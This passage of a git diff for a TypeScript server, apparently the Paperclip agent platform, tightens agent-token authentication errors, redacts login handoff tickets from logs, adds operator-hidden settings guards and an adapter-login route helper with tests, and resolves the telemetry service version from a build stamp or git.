+      await finalizeServerShutdown({
+        signal,
+        shutdownAppServices: appShutdown,
+        stopEmbeddedPostgres,
+        shutdownInstrumentation,
+        log: logger,
+      });
 
       process.exit(0);
     };
diff --git a/server/src/instrumentation.ts b/server/src/instrumentation.ts
index c1524c815d7..5f7a31bc967 100644
--- a/server/src/instrumentation.ts
+++ b/server/src/instrumentation.ts
@@ -26,6 +26,8 @@
 // exit via `shutdownInstrumentation()`, which index.ts awaits in its signal
 // handler before `process.exit`.
 
+import { execFileSync } from "node:child_process";
+import { readFileSync } from "node:fs";
 import { createRequire } from "node:module";
 
 const endpoint = process.env.OTEL_EXPORTER_OTLP_ENDPOINT;
@@ -354,6 +356,72 @@ async function importExporter(protocol: ExporterProtocol): Promise<{
   }
 }
 
+/**
+ * Read the commit SHA from the build stamp. The server `build` script writes
+ * `dist/build-info.json` next to the compiled module. Return the SHA, or null
+ * when the stamp is absent or unreadable. In `tsx` dev mode the module runs
+ * from `src`, where no stamp exists, so this returns null and the caller falls
+ * back to a runtime git lookup.
+ */
+export function readBuildStamp(): string | null {
+  try {
+    const stampUrl = new URL("./build-info.json", import.meta.url);
+    const raw = readFileSync(stampUrl, "utf8");
+    const parsed = JSON.parse(raw) as { commit?: unknown };
+    if (typeof parsed.commit === "string" && parsed.commit.length > 0) {
+      return parsed.commit;
+    }
+    return null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Read the current commit SHA with `git rev-parse --short HEAD`. Return the
+ * SHA, or null on any failure. This covers dev mode, where the process runs
+ * from a git checkout. A missing `git` or a checkout with no `.git` returns
+ * null and is not fatal.
+ *
+ * The lookup runs in the directory of this module, not the directory the
+ * server process started in. `import.meta.url` points at `src` in dev mode and
+ * `dist` in a built server; both sit inside the Paperclip checkout. A server
+ * launched from an unrelated directory, or from inside another repository,
+ * would otherwise report a wrong commit or fall back.
+ */
+export function readGitCommit(): string | null {
+  try {
+    const out = execFileSync("git", ["rev-parse", "--short", "HEAD"], {
+      cwd: new URL("./", import.meta.url),
+      stdio: ["ignore", "pipe", "ignore"],
+    })
+      .toString()
+      .trim();
+    return out.length > 0 ? out : null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Resolve the `service.version` span attribute. The order is:
+ *   1. The build stamp — the commit the running server was built from.
+ *   2. A runtime git lookup — covers `tsx src/index.ts` dev mode.
+ *   3. The `OTEL_SERVICE_VERSION` environment variable.
+ *   4. "unknown".
+ * The build stamp wins over the environment variable, so a stale
+ * `OTEL_SERVICE_VERSION` cannot mask the true built commit. `OTEL_SERVICE_VERSION`
+ * is a Paperclip-specific variable, not an OpenTelemetry SDK variable, so
+ * Paperclip controls this precedence.
+ */
+export function resolveServiceVersion(
+  buildStamp: string | null,
+  gitCommit: string | null,
+  envVersion: string | undefined,
+): string {
+  return buildStamp || gitCommit || envVersion || "unknown";
+}
+
 async function bootstrapOtel(endpoint: string): Promise<void> {
   const { protocol, packageName: exporterPackage } = resolveProtocol();
 
@@ -379,10 +447,19 @@ async function bootstrapOtel(endpoint: string): Promise<void> {
     const { resourceFromAttributes } = resources;
     const { ATTR_SERVICE_NAME, ATTR_SERVICE_VERSION } = semconv;
 
+    const serviceVersion = resolveServiceVersion(
+      readBuildStamp(),
+      readGitCommit(),
+      process.env.OTEL_SERVICE_VERSION,
+    );
+    // Log the resolved value once so an operator can confirm the built commit.
+    // eslint-disable-next-line no-console
+    console.log(`[paperclip] OpenTelemetry service.version=${serviceVersion}`);
+
     const sdk = new NodeSDK({
       resource: resourceFromAttributes({
         [ATTR_SERVICE_NAME]: process.env.OTEL_SERVICE_NAME || "paperclip",
-        [ATTR_SERVICE_VERSION]: process.env.OTEL_SERVICE_VERSION || "unknown",
+        [ATTR_SERVICE_VERSION]: serviceVersion,
       }),
       // For the HTTP protocols OTEL_EXPORTER_OTLP_ENDPOINT is a *base* URL
       // and the exporter appends /v1/traces only when it reads the env var
diff --git a/server/src/middleware/auth.ts b/server/src/middleware/auth.ts
index 01df6fadf50..c073f14406f 100644
--- a/server/src/middleware/auth.ts
+++ b/server/src/middleware/auth.ts
@@ -46,7 +46,7 @@ function pruneCloudTenantWriteDebounce(
 }
 import { instanceSettingsService } from "../services/instance-settings.js";
 import { ensureHumanRoleDefaultGrants } from "../services/principal-access-compatibility.js";
-import { forbidden, unprocessable } from "../errors.js";
+import { forbidden, unauthorized, unprocessable } from "../errors.js";
 
 export { isCloudManagedInstance } from "../services/cloud-instance.js";
 
@@ -58,6 +58,20 @@ function normalizeOptionalString(value: string | null | undefined) {
   return value?.trim() || null;
 }
 
+function invalidAgentTokenMessage(token: string) {
+  try {
+    const payload = JSON.parse(Buffer.from(token.split(".")[1] ?? "", "base64url").toString("utf8")) as {
+      exp?: unknown;
+    };
+    if (typeof payload.exp === "number" && payload.exp <= Math.floor(Date.now() / 1000)) {
+      return "Expired agent token; obtain fresh credentials and retry";
+    }
+  } catch {
+    // Malformed and incorrectly signed tokens share the generic failure below.
+  }
+  return "Agent token did not verify; obtain fresh credentials and retry";
+}
+
 async function resolveLegacyRunResponsibleUserId(
   db: Db,
   input: { companyId: string; agentId: string; runId: string },
@@ -207,7 +221,8 @@ export function actorMiddleware(db: Db, opts: ActorMiddlewareOptions): RequestHa
     const runIdHeader = req.header("x-paperclip-run-id");
 
     const authHeader = req.header("authorization");
-    if (!authHeader?.toLowerCase().startsWith("bearer ")) {
+    const hasBearerCredentials = /^bearer(?:\s|$)/i.test(authHeader ?? "");
+    if (!hasBearerCredentials) {
       if (opts.deploymentMode === "authenticated" && opts.resolveSession) {
         const cloudTenantActor = await resolveCloudTenantActor(db, req);
         if (cloudTenantActor) {
@@ -259,9 +274,9 @@ export function actorMiddleware(db: Db, opts: ActorMiddlewareOptions): RequestHa
       return;
     }
 
-    const token = authHeader.slice("bearer ".length).trim();
+    const token = authHeader!.slice("bearer".length).trim();
     if (!token) {
-      next();
+      next(unauthorized("Empty bearer token; provide valid agent credentials and retry"));
       return;
     }
 
@@ -297,7 +312,7 @@ export function actorMiddleware(db: Db, opts: ActorMiddlewareOptions): RequestHa
     if (!key) {
       const claims = verifyLocalAgentJwt(token);
       if (!claims) {
-        next();
+        next(unauthorized(invalidAgentTokenMessage(token)));
         return;
       }
 
@@ -308,12 +323,16 @@ export function actorMiddleware(db: Db, opts: ActorMiddlewareOptions): RequestHa
         .then((rows) => rows[0] ?? null);
 
       if (!agentRecord || agentRecord.companyId !== claims.company_id) {
-        next();
+        next(unauthorized("Agent record is missing or belongs to another company; obtain fresh credentials and retry"));
         return;
       }
 
-      if (agentRecord.status === "terminated" || agentRecord.status === "pending_approval") {
-        next();
+      if (agentRecord.status === "terminated") {
+        next(unauthorized("Agent is terminated and cannot authenticate"));
+        return;
+      }
+      if (agentRecord.status === "pending_approval") {
+        next(unauthorized("Agent is pending approval and cannot authenticate"));
         return;
       }
 
@@ -375,8 +394,16 @@ export function actorMiddleware(db: Db, opts: ActorMiddlewareOptions): RequestHa
       .where(eq(agents.id, key.agentId))
       .then((rows) => rows[0] ?? null);
 
-    if (!agentRecord || agentRecord.status === "terminated" || agentRecord.status === "pending_approval") {
-      next();
+    if (!agentRecord || agentRecord.companyId !== key.companyId) {
+      next(unauthorized("Agent record is missing or belongs to another company; obtain fresh credentials and retry"));
+      return;
+    }
+    if (agentRecord.status === "terminated") {
+      next(unauthorized("Agent is terminated and cannot authenticate"));
+      return;
+    }
+    if (agentRecord.status === "pending_approval") {
+      next(unauthorized("Agent is pending approval and cannot authenticate"));
       return;
     }
 
diff --git a/server/src/middleware/error-handler.ts b/server/src/middleware/error-handler.ts
index 5ba9ad5821c..0a4aa1a1703 100644
--- a/server/src/middleware/error-handler.ts
+++ b/server/src/middleware/error-handler.ts
@@ -90,6 +90,7 @@ export function errorHandler(
       ? err.details as Record<string, unknown>
       : null;
     const redactedSkillPolicyDenial = isRedactedSkillPolicyDenial(details);
+    const workspaceRepairPreconditionFailure = details?.code === "workspace_repair_precondition_failed";
     const structuredConnectionError = new Set([
       "user_authorization_required",
       "grant_revoked",
@@ -113,13 +114,19 @@ export function errorHandler(
       error: err.message,
       ...(typeof details?.code === "string" ? { code: details.code } : {}),
       ...(redactedSkillPolicyDenial && typeof details?.reason === "string" ? { reason: details.reason } : {}),
+      ...(workspaceRepairPreconditionFailure && typeof details?.reason === "string" ? { reason: details.reason } : {}),
+      ...(workspaceRepairPreconditionFailure && typeof details?.repairPhase === "string"
+        ? { repairPhase: details.repairPhase }
+        : {}),
       ...(typeof details?.remediation === "string" || (structuredConnectionError && details?.remediation && typeof details.remediation === "object")
         ? { remediation: details.remediation }
         : {}),
       ...(structuredConnectionError && details?.connection ? { connection: details.connection } : {}),
       ...(structuredConnectionError && details?.subject ? { subject: details.subject } : {}),
       ...(structuredConnectionError && typeof details?.grantId === "string" ? { grantId: details.grantId } : {}),
-      ...(!redactedSkillPolicyDenial && err.details ? { details: err.details } : {}),
+      ...(!redactedSkillPolicyDenial && !workspaceRepairPreconditionFailure && err.details
+        ? { details: err.details }
+        : {}),
     });
     return;
   }
diff --git a/server/src/middleware/logger.ts b/server/src/middleware/logger.ts
index d46f9adff99..dcc4320708e 100644
--- a/server/src/middleware/logger.ts
+++ b/server/src/middleware/logger.ts
@@ -3,6 +3,7 @@ import { pinoHttp } from "pino-http";
 import { HTTP_LOG_REDACT_PATHS } from "./http-log-redaction.js";
 import { shouldSilenceHttpSuccessLog } from "./http-log-policy.js";
 import { redactSensitive } from "./redact-sensitive.js";
+import { redactWorkspaceHandoffTicket } from "../auth/workspace-login-handoff.js";
 
 const sharedOpts = {
   translateTime: "SYS:HH:MM:ss",
@@ -29,12 +30,14 @@ export const httpLogger = pinoHttp({
     return "info";
   },
   customSuccessMessage(req, res) {
-    return `${req.method} ${req.url} ${res.statusCode}`;
+    // A workspace login handoff ticket is a bearer credential that rides in the
+    // query string, so the request line has to be redacted before it is logged.
+    return `${req.method} ${redactWorkspaceHandoffTicket(req.url ?? "")} ${res.statusCode}`;
   },
   customErrorMessage(req, res, err) {
     const ctx = (res as any).__errorContext;
     const errMsg = ctx?.error?.message || err?.message || (res as any).err?.message || "unknown error";
-    return `${req.method} ${req.url} ${res.statusCode} — ${errMsg}`;
+    return `${req.method} ${redactWorkspaceHandoffTicket(req.url ?? "")} ${res.statusCode} — ${errMsg}`;
   },
   customProps(req, res) {
     if (res.statusCode >= 400) {
diff --git a/server/src/middleware/private-hostname-guard.ts b/server/src/middleware/private-hostname-guard.ts
index f64d92c62c5..fff52698377 100644
--- a/server/src/middleware/private-hostname-guard.ts
+++ b/server/src/middleware/private-hostname-guard.ts
@@ -46,12 +46,12 @@ export function resolvePrivateHostnameAllowSet(opts: { allowedHostnames: string[
 // requester controls it. Never put that value into the guidance command. An
 // operator or an agent can paste the guidance into a shell, and that outer
 // shell evaluates a backtick, `$( )`, or `$NAME` span in the host before any
-// CLI receives argv. A direct-exec form such as `pnpm exec` does not stop the
+// CLI receives argv. A direct-exec form such as `npx` does not stop the
 // outer shell. Emit a static `<host>` placeholder and do not echo the raw request
 // value. The operator supplies the real hostname.
 const BLOCKED_HOSTNAME_MESSAGE =
   "This hostname is not allowed for this Paperclip instance. " +
-  "If you want to allow a hostname, run pnpm exec paperclipai allowed-hostname <host>.";
+  "If you want to allow a hostname, run npx paperclipai allowed-hostname <host>.";
 
 export function privateHostnameGuard(opts: {
   enabled: boolean;
@@ -72,7 +72,7 @@ export function privateHostnameGuard(opts: {
     const wantsJson = req.path.startsWith("/api") || req.accepts(["json", "html", "text"]) === "json";
 
     if (!hostname) {
-      const error = "Missing Host header. If you want to allow a hostname, run pnpm exec paperclipai allowed-hostname <host>.";
+      const error = "Missing Host header. If you want to allow a hostname, run npx paperclipai allowed-hostname <host>.";
       if (wantsJson) {
         res.status(403).json({ error });
       } else {
diff --git a/server/src/middleware/redact-sensitive.ts b/server/src/middleware/redact-sensitive.ts
index 3197e459f38..b7e7b873155 100644
--- a/server/src/middleware/redact-sensitive.ts
+++ b/server/src/middleware/redact-sensitive.ts
@@ -45,6 +45,10 @@ const SENSITIVE_KEYS = new Set<string>([
   "browsercode",
   "authorization_code",
   "authorizationcode",
+  // The workspace login handoff ticket (PAP-17572). It is a signed bearer
+  // credential carried as a query parameter, so it must never reach a log line
+  // even though the exchange itself answers 302.
+  "ticket",
 ]);
 
 const MAX_DEPTH = 6;
diff --git a/server/src/middleware/validate.ts b/server/src/middleware/validate.ts
index 4acb53d0daa..8b141fcb192 100644
--- a/server/src/middleware/validate.ts
+++ b/server/src/middleware/validate.ts
@@ -1,5 +1,6 @@
 import type { Request, Response, NextFunction } from "express";
-import type { ZodSchema } from "zod";
+import { ZodError, type ZodIssue, type ZodSchema } from "zod";
+import { unprocessable } from "../errors.js";
 
 export function validate(schema: ZodSchema) {
   return (req: Request, _res: Response, next: NextFunction) => {
@@ -7,3 +8,44 @@ export function validate(schema: ZodSchema) {
     next();
   };
 }
+
+// The issue create/update contract requires HTTP 422 (not the generic Zod 400)
+// when a request pins an invalid executionWorkspaceSettings.workspaceStrategy
+// .existingBranch: bad branch syntax, placement outside isolated_workspace +
+// git_worktree, or combination with branchTemplate. All three semantic checks
+// report this exact path suffix, including when an issue-creating route nests
+// the settings (for example accepted-plan-decomposition children). Requests
+// that also fail unrelated validation keep the long-standing 400.
+const EXISTING_BRANCH_SETTINGS_PATH = [
+  "executionWorkspaceSettings",
+  "workspaceStrategy",
+  "existingBranch",
+] as const;
+
+export function isExistingBranchSemanticsZodIssue(issue: Pick<ZodIssue, "path">): boolean {
+  const pathOffset = issue.path.length - EXISTING_BRANCH_SETTINGS_PATH.length;
+  return (
+    pathOffset >= 0 &&
+    EXISTING_BRANCH_SETTINGS_PATH.every((segment, index) => issue.path[pathOffset + index] === segment)
+  );
+}
+
+export function validateIssueMutationBody(schema: ZodSchema) {
+  return (req: Request, _res: Response, next: NextFunction) => {
+    try {
+      req.body = schema.parse(req.body);
+    } catch (err) {
+      if (
+        err instanceof ZodError &&
+        err.issues.length > 0 &&
+        err.issues.every(isExistingBranchSemanticsZodIssue)
+      ) {
+        // Same body shape as the generic Zod 400 response, so the
+        // field-specific details are preserved verbatim.
+        throw unprocessable("Validation error", err.issues);
+      }
+      throw err;
+    }
+    next();
+  };
+}
diff --git a/server/src/routes/access.ts b/server/src/routes/access.ts
index 5b29d2dac00..a1b166e7185 100644
--- a/server/src/routes/access.ts
+++ b/server/src/routes/access.ts
@@ -56,6 +56,22 @@ import {
   badRequest,
   tooManyRequests
 } from "../errors.js";
+import { getHiddenSettings } from "../services/settings-visibility.js";
+
+/**
+ * Floor: when the hosting operator hides the Instance Access surface
+ * (`instance.access` in PAPERCLIP_HIDDEN_SETTINGS), instance-admin user
+ * management is rejected alongside it — user administration then belongs to
+ * the operator's own control plane. Applies to the Access page's reads too;
+ * invite and company-membership routes are company-scoped and stay open.
+ */
+function assertAccessAdminVisible() {
+  if (getHiddenSettings().has("instance.access")) {
+    throw forbidden("Instance user administration is managed by the hosting operator on this instance", {
+      code: "settings_operator_managed",
+    });
+  }
+}
 import {
   createInviteRateLimiter,
   type InviteRateLimiter,
@@ -1646,9 +1662,9 @@ function buildOnboardingDiscoveryDiagnostics(input: {
       // Never put that value into the guidance command. An operator or an agent
       // can paste the command into a shell, and that outer shell evaluates a
       // metacharacter span in the host before any CLI receives argv. A
-      // direct-exec form such as `pnpm exec` does not stop the outer shell. Emit
+      // direct-exec form such as `npx` does not stop the outer shell. Emit
       // a static `<host>` placeholder and keep the raw host in the message only.
-      hint: `Run pnpm exec paperclipai allowed-hostname <host>`
+      hint: `Run npx paperclipai allowed-hostname <host>`
     });
   }
 
@@ -1782,7 +1798,7 @@ function buildInviteOnboardingManifest(
         guidance:
           opts.deploymentMode === "authenticated" &&
           opts.deploymentExposure === "private"
-            ? "If OpenClaw runs on another machine, ensure the Paperclip hostname is reachable and allowed via `pnpm exec paperclipai allowed-hostname <host>`."
+            ? "If OpenClaw runs on another machine, ensure the Paperclip hostname is reachable and allowed via `npx paperclipai allowed-hostname <host>`."
             : "Ensure OpenClaw can reach this Paperclip API base URL for invite, claim, and skill bootstrap calls."
       },
       textInstructions: {
@@ -2005,7 +2021,7 @@ export function buildInviteOnboardingTextDocument(
 
       If none are reachable: ask your human operator for a reachable hostname/address and help them update network configuration.
       For authenticated/private mode, they may need:
-      - pnpm exec paperclipai allowed-hostname <host>
+      - npx paperclipai allowed-hostname <host>
       - then restart Paperclip and retry onboarding.
     `);
   }
@@ -4774,6 +4790,7 @@ export function accessRoutes(
     "/admin/users/:userId/promote-instance-admin",
     async (req, res) => {
       await assertInstanceAdmin(req);
+      assertAccessAdminVisible();
       const userId = req.params.userId as string;
       const result = await access.promoteInstanceAdmin(userId);
       res.status(201).json(result);
@@ -4782,6 +4799,7 @@ export function accessRoutes(
 
   router.get("/admin/users", async (req, res) => {
     await assertInstanceAdmin(req);
+    assertAccessAdminVisible();
     const query = searchAdminUsersQuerySchema.parse(req.query);
     const needle = query.query.trim().toLowerCase();
     const users = await db
@@ -4844,6 +4862,7 @@ export function accessRoutes(
     "/admin/users/:userId/demote-instance-admin",
     async (req, res) => {
       await assertInstanceAdmin(req);
+      assertAccessAdminVisible();
       const userId = req.params.userId as string;
       const removed = await access.demoteInstanceAdmin(userId);
       if (!removed) throw notFound("Instance admin role not found");
@@ -4853,6 +4872,7 @@ export function accessRoutes(
 
   router.get("/admin/users/:userId/company-access", async (req, res) => {
     await assertInstanceAdmin(req);
+    assertAccessAdminVisible();
     const userId = req.params.userId as string;
     res.json(await loadUserCompanyAccessResponse(db, access, userId));
   });
@@ -4862,6 +4882,7 @@ export function accessRoutes(
     validate(updateUserCompanyAccessSchema),
     async (req, res) => {
       await assertInstanceAdmin(req);
+      assertAccessAdminVisible();
       const userId = req.params.userId as string;
       await access.setUserCompanyAccess(
         userId,
diff --git a/server/src/routes/activity.ts b/server/src/routes/activity.ts
index 85e8b206905..47592cfe507 100644
--- a/server/src/routes/activity.ts
+++ b/server/src/routes/activity.ts
@@ -95,17 +95,17 @@ const createActivitySchema = z.object({
   action: z.string().min(1),
   entityType: z.string().min(1),
   entityId: z.string().min(1),
-  agentId: z.string().uuid().optional().nullable(),
-  details: z.record(z.unknown()).optional().nullable(),
+  agentId: z.string().guid().optional().nullable(),
+  details: z.record(z.string(), z.unknown()).optional().nullable(),
 });
 
 const agentActionAuditActorScopeSchema = z.enum(["agents", "all"]);
 
 const agentActionAuditQuerySchema = z.object({
   actorScope: agentActionAuditActorScopeSchema.default("agents"),
-  agentId: z.string().uuid().optional(),
+  agentId: z.string().guid().optional(),
   responsibleUserId: z.string().min(1).optional(),
-  runId: z.string().uuid().optional(),
+  runId: z.string().guid().optional(),
   entityType: z.string().min(1).optional(),
   entityId: z.string().min(1).optional(),
   action: z.string().min(1).optional(),
diff --git a/server/src/routes/adapter-login-route-spine.ts b/server/src/routes/adapter-login-route-spine.ts
new file mode 100644
index 00000000000..1b5dc86e275
--- /dev/null
+++ b/server/src/routes/adapter-login-route-spine.ts
@@ -0,0 +1,107 @@
+import type { Request, Response } from "express";
+import type { z } from "zod";
+
+/**
+ * The result of the shared adapter login start-route spine. The spine returns it
+ * when every guard passes. `ownerUserId` is the immutable session owner from the
+ * actor. `data` is the validated request body.
+ */
+export interface AdapterLoginStartResolution<TData> {
+  ownerUserId: string;
+  data: TData;
+}
+
+/**
+ * The injected steps of the shared adapter login start-route spine. The Codex
+ * device login start route and the Claude setup-token login start route both
+ * provide them. Each step holds the per-flow rule; the spine holds the shared
+ * order.
+ */
+export interface AdapterLoginStartSpineInput<TData extends { environmentId: string }> {
+  req: Request;
+  res: Response;
+  /**
+   * Derives the immutable session owner from the actor. It also runs the company
+   * access check. It throws a mapped HTTP error for a forbidden actor. The shared
+   * error handler maps the thrown error to the response.
+   */
+  deriveOwner: () => Promise<string> | string;
+  /**
+   * The strict request schema. `.strict()` rejects an unknown field. The spine
+   * validates the request body against it before any session or lease side
+   * effect.
+   */
+  requestSchema: z.ZodType<TData>;
+  /** The fixed 400 text for an invalid request. Each route keeps its own text. */
+  invalidRequestError: string;
+  /**
+   * Merges these fields into the request body before the parse. The Codex route
+   * injects the adapter type from the path, so the client body needs no adapter
+   * type field.
+   */
+  requestOverrides?: Record<string, unknown>;
+  /**
+   * Runs an optional per-flow guard after the owner derivation and before the
+   * request validation. The Codex route checks the path adapter type here. It
+   * throws a mapped HTTP error to reject the request.
+   */
+  guardBeforeValidate?: () => void | Promise<void>;
+  /**
+   * Runs an optional per-flow guard after the validation and before the sandbox
+   * check. The Claude route checks the body adapter type and the transport
+   * readiness here. It returns `true` when it sends a response; the spine then
+   * stops and returns null.
+   */
+  guardAfterValidate?: (data: TData) => boolean | Promise<boolean>;
+  /**
+   * Checks the sandbox environment. It throws a mapped HTTP error for a missing,
+   * archived, non-sandbox, or foreign environment.
+   */
+  assertSandbox: (data: TData) => Promise<void>;
+}
+
+/**
+ * Runs the shared start-route spine for an adapter login. It runs the same
+ * ordered steps for both start routes, and it runs every step before any session
+ * or lease side effect:
+ *
+ * 1. It derives the session owner and runs the company access check.
+ * 2. It runs the optional pre-validation guard.
+ * 3. It validates the request body with the strict schema. It sends the fixed
+ *    400 and returns null on a failure.
+ * 4. It runs the optional post-validation guard. It returns null when the guard
+ *    sends a response.
+ * 5. It checks the sandbox environment.
+ *
+ * It returns the owner and the validated body when every step passes. It returns
+ * null when a step sends a response; the caller must then stop.
+ */
+export async function runAdapterLoginStartSpine<TData extends { environmentId: string }>(
+  input: AdapterLoginStartSpineInput<TData>,
+): Promise<AdapterLoginStartResolution<TData> | null> {
+  const ownerUserId = await input.deriveOwner();
+
+  if (input.guardBeforeValidate) {
+    await input.guardBeforeValidate();
+  }
+
+  const body =
+    input.req.body && typeof input.req.body === "object"
+      ? (input.req.body as Record<string, unknown>)
+      : {};
+  const candidate = input.requestOverrides ? { ...body, ...input.requestOverrides } : body;
+  const parsed = input.requestSchema.safeParse(candidate);
+  if (!parsed.success) {
+    input.res.status(400).json({ error: input.invalidRequestError });
+    return null;
+  }
+  const data = parsed.data;
+
+  if (input.guardAfterValidate) {
+    const stop = await input.guardAfterValidate(data);
+    if (stop) return null;
+  }
+
+  await input.assertSandbox(data);
+  return { ownerUserId, data };
+}
diff --git a/server/src/routes/adapters.test.ts b/server/src/routes/adapters.test.ts
new file mode 100644
index 00000000000..17112f6180b
--- /dev/null
+++ b/server/src/routes/adapters.test.ts
@@ -0,0 +1,70 @@
+import { describe, expect, it } from "vitest";
+import type { AdapterLoginCapability, ServerAdapterModule } from "@paperclipai/adapter-utils";
+import { buildAdapterCapabilities } from "./adapters.js";
+
+// The adapter listing projects the safe scalar login fields to the client. The
+// projection carries the panel mode, the sandbox transport, and the timeout
+// policy. It never carries a function member or a secret. An adapter with no
+// login capability projects no `login` object.
+
+function makeAdapter(overrides: Partial<ServerAdapterModule> = {}): ServerAdapterModule {
+  return {
+    type: "vendor_local",
+    execute: async () => {
+      throw new Error("not used");
+    },
+    testEnvironment: async () => {
+      throw new Error("not used");
+    },
+    ...overrides,
+  } as ServerAdapterModule;
+}
+
+const displayedCodeLogin: AdapterLoginCapability = {
+  panelMode: "displayed_code",
+  sandboxTransport: "streamed_exec",
+  timeoutPolicy: "caller_bounded",
+  getCommand: () => "vendor login",
+  parsePrompt: () => null,
+};
+
+describe("buildAdapterCapabilities login projection", () => {
+  it("projects the safe scalar login fields", () => {
+    const caps = buildAdapterCapabilities(makeAdapter({ loginCapability: displayedCodeLogin }));
+    expect(caps.login).toEqual({
+      panelMode: "displayed_code",
+      sandboxTransport: "streamed_exec",
+      timeoutPolicy: "caller_bounded",
+    });
+  });
+
+  it("omits the login object when the adapter declares no capability", () => {
+    const caps = buildAdapterCapabilities(makeAdapter());
+    expect(caps.login).toBeUndefined();
+  });
+
+  it("never projects the function members or a completion claim", () => {
+    const caps = buildAdapterCapabilities(
+      makeAdapter({
+        loginCapability: {
+          panelMode: "submitted_browser_code",
+          sandboxTransport: "pseudo_terminal",
+          timeoutPolicy: "fixed",
+          getCommand: () => "vendor setup-token",
+          parsePrompt: () => null,
+          captureCredential: () => null,
+          completionClaim: "storedSessionId",
+        },
+      }),
+    );
+    expect(caps.login).toEqual({
+      panelMode: "submitted_browser_code",
+      sandboxTransport: "pseudo_terminal",
+      timeoutPolicy: "fixed",
+    });
+    expect(caps.login).not.toHaveProperty("getCommand");
+    expect(caps.login).not.toHaveProperty("parsePrompt");
+    expect(caps.login).not.toHaveProperty("captureCredential");
+    expect(caps.login).not.toHaveProperty("completionClaim");
+  });
+});
diff --git a/server/src/routes/adapters.ts b/server/src/routes/adapters.ts
index 4be1b5115d5..6341ab89cf3 100644
--- a/server/src/routes/adapters.ts
+++ b/server/src/routes/adapters.ts
@@ -41,10 +41,16 @@ import {
 } from "../services/adapter-plugin-store.js";
 import type { AdapterPluginRecord } from "../services/adapter-plugin-store.js";
 import type { ServerAdapterModule, AdapterConfigSchema } from "../adapters/types.js";
+import type {
+  AdapterLoginPanelMode,
+  AdapterLoginSandboxTransport,
+  AdapterLoginTimeoutPolicy,
+} from "@paperclipai/adapter-utils";
 import { loadExternalAdapterPackage, getUiParserSource, getOrExtractUiParserSource, reloadExternalAdapter } from "../adapters/plugin-loader.js";
 import { logger } from "../middleware/logger.js";
 import { forbidden } from "../errors.js";
 import { isCloudManagedInstance } from "../services/cloud-instance.js";
+import { getHiddenSettings } from "../services/settings-visibility.js";
 import { assertBoardOrgAccess, assertInstanceAdmin } from "./authz.js";
 import { BUILTIN_ADAPTER_TYPES } from "../adapters/builtin-adapter-types.js";
 
@@ -66,6 +72,20 @@ function assertAdapterCodeInstallAllowed() {
   }
 }
 
+/**
+ * Floor: when the hosting operator hides the Adapters settings surface
+ * (`instance.adapters` in PAPERCLIP_HIDDEN_SETTINGS), adapter management
+ * writes are rejected alongside it. Reads stay open — adapter metadata is
+ * consumed by agent-creation UIs outside the hidden page.
+ */
+function assertAdapterManagementVisible() {
+  if (getHiddenSettings().has("instance.adapters")) {
+    throw forbidden("Adapter management is managed by the hosting operator on this instance", {
+      code: "settings_operator_managed",
+    });
+  }
+}
+
 // ---------------------------------------------------------------------------
 // Request / Response types
 // ---------------------------------------------------------------------------
@@ -79,6 +99,18 @@ interface AdapterInstallRequest {
   version?: string;
 }
 
+/**
+ * The safe scalar login fields the adapter listing projects to the client. It
+ * carries only the panel mode, the sandbox transport, and the timeout policy.
+ * It carries no function member and no secret. The user interface reads it to
+ * pick the login flow and the login panel.
+ */
+interface AdapterLoginProjection {
+  panelMode: AdapterLoginPanelMode;
+  sandboxTransport: AdapterLoginSandboxTransport;
+  timeoutPolicy: AdapterLoginTimeoutPolicy;
+}
+
 interface AdapterCapabilities {
   supportsInstructionsBundle: boolean;
   supportsSkills: boolean;
@@ -86,6 +118,11 @@ interface AdapterCapabilities {
   requiresMaterializedRuntimeSkills: boolean;
   supportsModelProfiles: boolean;
   supportsAcp: boolean;
+  /**
+   * The projected login capability. It is present only when the adapter
+   * declares an interactive login capability. It is absent otherwise.
+   */
+  login?: AdapterLoginProjection;
 }
 
 interface AdapterInfo {
@@ -134,7 +171,13 @@ function readAdapterPackageVersionFromDisk(record: AdapterPluginRecord): string
   }
 }
 
-function buildAdapterCapabilities(adapter: ServerAdapterModule): AdapterCapabilities {
+/**
+ * Build the client capability view for one adapter. The login projection carries
+ * only the safe scalar fields; it drops the function members and the completion
+ * claim, so the response holds no secret and no code.
+ */
+export function buildAdapterCapabilities(adapter: ServerAdapterModule): AdapterCapabilities {
+  const login = adapter.loginCapability;
   return {
     supportsInstructionsBundle: adapter.supportsInstructionsBundle ?? false,
     supportsSkills: Boolean(adapter.listSkills || adapter.syncSkills),
@@ -142,6 +185,15 @@ function buildAdapterCapabilities(adapter: ServerAdapterModule): AdapterCapabili
     requiresMaterializedRuntimeSkills: adapter.requiresMaterializedRuntimeSkills ?? false,
     supportsModelProfiles: Boolean(adapter.modelProfiles?.length || adapter.listModelProfiles),
     supportsAcp: Boolean(adapter.acp),
+    ...(login
+      ? {
+          login: {
+            panelMode: login.panelMode,
+            sandboxTransport: login.sandboxTransport,
+            timeoutPolicy: login.timeoutPolicy,
+          },
+        }
+      : {}),
   };
 }
 
@@ -251,6 +303,7 @@ export function adapterRoutes() {
   router.post("/adapters/install", async (req, res) => {
     assertInstanceAdmin(req);
     assertAdapterCodeInstallAllowed();
+    assertAdapterManagementVisible();
 
     const { packageName, isLocalPath = false, version } = req.body as AdapterInstallRequest;
 
@@ -398,6 +451,8 @@ export function adapterRoutes() {
   router.patch("/adapters/:type", async (req, res) => {
     assertInstanceAdmin(req);
 
+    assertAdapterManagementVisible();
+
     const adapterType = req.params.type;
     const { disabled } = req.body as { disabled?: boolean };
 
@@ -433,6 +488,8 @@ export function adapterRoutes() {
   router.patch("/adapters/:type/override", async (req, res) => {
     assertInstanceAdmin(req);
 
+    assertAdapterManagementVisible();
+
     const adapterType = req.params.type;
     const { paused } = req.body as { paused?: boolean };
 
@@ -460,6 +517,7 @@ export function adapterRoutes() {
    */
   router.delete("/adapters/:type", async (req, res) => {
     assertInstanceAdmin(req);
+    assertAdapterManagementVisible();
 
     const adapterType = req.params.type;
 
@@ -536,6 +594,7 @@ export function adapterRoutes() {
    */
   router.post("/adapters/:type/reload", async (req, res) => {
     assertInstanceAdmin(req);
+    assertAdapterManagementVisible();
 
     const type = req.params.type;
 
@@ -589,6 +648,7 @@ export function adapterRoutes() {
   router.post("/adapters/:type/reinstall", async (req, res) => {
     assertInstanceAdmin(req);
     assertAdapterCodeInstallAllowed();
+    assertAdapterManagementVisible();
 
     const type = req.params.type;
 
diff --git a/server/src/routes/agents.ts b/server/src/routes/agents.ts
